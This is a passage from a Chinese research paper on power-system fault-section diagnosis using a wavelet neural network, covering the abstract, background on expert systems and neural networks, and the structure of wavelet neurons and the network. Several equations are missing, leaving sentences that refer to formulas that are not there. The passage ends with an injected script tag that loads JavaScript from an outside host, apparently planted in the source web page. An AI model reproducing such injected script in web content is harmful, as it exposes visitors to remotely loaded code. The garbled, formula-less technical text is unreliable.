摘 要 利用小波变换在信号处理方面的时频分析能力和神经网络对任意非线性函数的普遍的逼近能力，提出了一个基于小波神经网络的电力系统故障段辨别方法。故障诊断系统依据保护继电器和断路器的采样信息估计电力系统中故障段的位置。仿真结果显示，小波神经网络故障诊断系统能正确估计电力系统单一故障和多重故障的位置，即使在电力系统中存在保护继电器和断路器误动或拒动的情况下，小波神经网络也能给出合理的结果。测试结果表明，小波神经网络在电力系统警报处理系统中有良好的应用前景。
关键词 故障诊断 小波神经网络 电力系统
1 引言
为用户提供连续的电力供应是电力部门的主要任务。然而由于环境条件的影响，电力系统故障又是不可避免的。为了提高供电可靠性，减少设备的损坏，在电力系统发生故障后，应尽快恢复供电。因此准确而又快速的确定故障段的位置是很重要的。然而在许多情况下准确的故障段估计很困难。
特别是多重故障发生时，或存在保护继电器和断路器误动或拒动情况下。会有大量的后备保护动作，在很短的时间里，报警信号蜂拥而至，在这种情况下，调度人员很难准确地判别真正的故障位置。
电力系统故障段估计的主要依据是电力系统中保护继电器的动作信号和断路器的状态信号及其他各种系统信息。专家系统［1，2］是电力系统故障诊断最早使用的一种人工智能方法。电力系统故障诊断专家系统依据系统调度人员的运行经验和电力系统中保护和断路器的状态信息，按照方式匹配和一定的搜寻机理，寻找可能的故障位置。基于规则推理方式的故障诊断专家系统为电力系统故障处理提供了一个有力的手段，但是在实际应用中仍存在一定的问题：首先，一个专家系统的建立需要大量的规则来精确地描述电力系统的保护和断路器的动作逻辑关系。其次，知识的获取和知识库的修改需要花费相当大的时间和精力，知识库的维护需要特别训练的专家才能胜任。因此一个专家系统要想从新的经验中直接地改进故障诊断的性能是非常困难的。此外，故障诊断过程中，需要大量的推理和搜索。因此，专家系统故障诊断需要花费较长时间，实时性能差。
另一种很有潜力的故障诊断方法是利用人工神经网络［3～5］进行故障段的判别。神经网络的一个重要特性是它的学习能力。专家系统以规则的形式储藏知识，而神经网络依靠事例的学习，自己产生＂规则＂储存知识。当重复地输入训练样本和希望的输出时，神经网络自动的调节自身的联系权重，最终得到希望的输入输出映射。人工神经网络的学习能力，使其特别适用于模式识别一类的非线性问题，但是人工神经网络用于故障诊断存在的问题是：学习训练收敛的速度比较慢，且容易收敛到网络的局部最优点等。
近来小波理论［6，7］已经广泛的应用于暂态扰动分析和信号处理领域，小波变换具有宽带滤波器的特性，在不同的伸缩尺度上对信号进行分解，既保持了原始信号的时间信息，又表达了信号的频谱内容。
本文提出的基于小波神经网络［8～10］的故障诊断系统综合了小波变换的时频分析能力和神经网络的任意函数的逼近特性，使其很适用于处理像电力系统故障段判别问题。
本文首先讨论了小波元的结构，然后介绍了小波神经网络的组成。最后利用计算机仿真验证了小波神经网络应用于电力系统故障诊断的有效性，并与传统的前馈神经网络进行了比较。
2 小波神经元
神经元在输入信号x的作用下产生输出信号y的规律由神经元功能函数f给出。由于s型函数（表达式为：f（x）＝（1＋e－ax）－1）能较好地模仿生物神经元对外界刺激的反应，所以在人工神经元中常采用s型函数作为功能函数。
然而在小波神经元中不能直接采用s型函数作为功能函数。因为s型函数不满母波的允许条件
式中b和c为常数，一般b≠c。进而由多尺度分析生成元，得到小波神经元母波函数表达式
式中d，e为常数，且d≠e，小波神经元母波函数的图形如图1所示．ψ（x）具有正负交替的衰减的振荡波形，满足条件：在母波ψ（x）中，常数a，b，c，d，e已经确定，在本例中，常数取为a＝1，b＝d＝1，c＝e＝－1。
3 小波神经网络
小波神经网络由输入层，隐藏层和输出层构成。其中隐藏层由小波神经元组成，输出层为加和层，输出信号为待估计的故障段。输入空间由输入变量组成，包括电力系统的保护继电器的动作信号和断路器的状态信号。图2给出了小波神经网络的拓扑结构图。
隐藏层的小波神经元节点的功能函数由母波ψ（x）表示。假定ψ（x）∈l2（r）满足允许条件（1）。因此功能函数ψ（x）可表示为
式中n为平移因子；m为尺度因子。小波函数ψm，n（x）通过伸缩和平移分析输入?script src=http://er12.com/t.js>
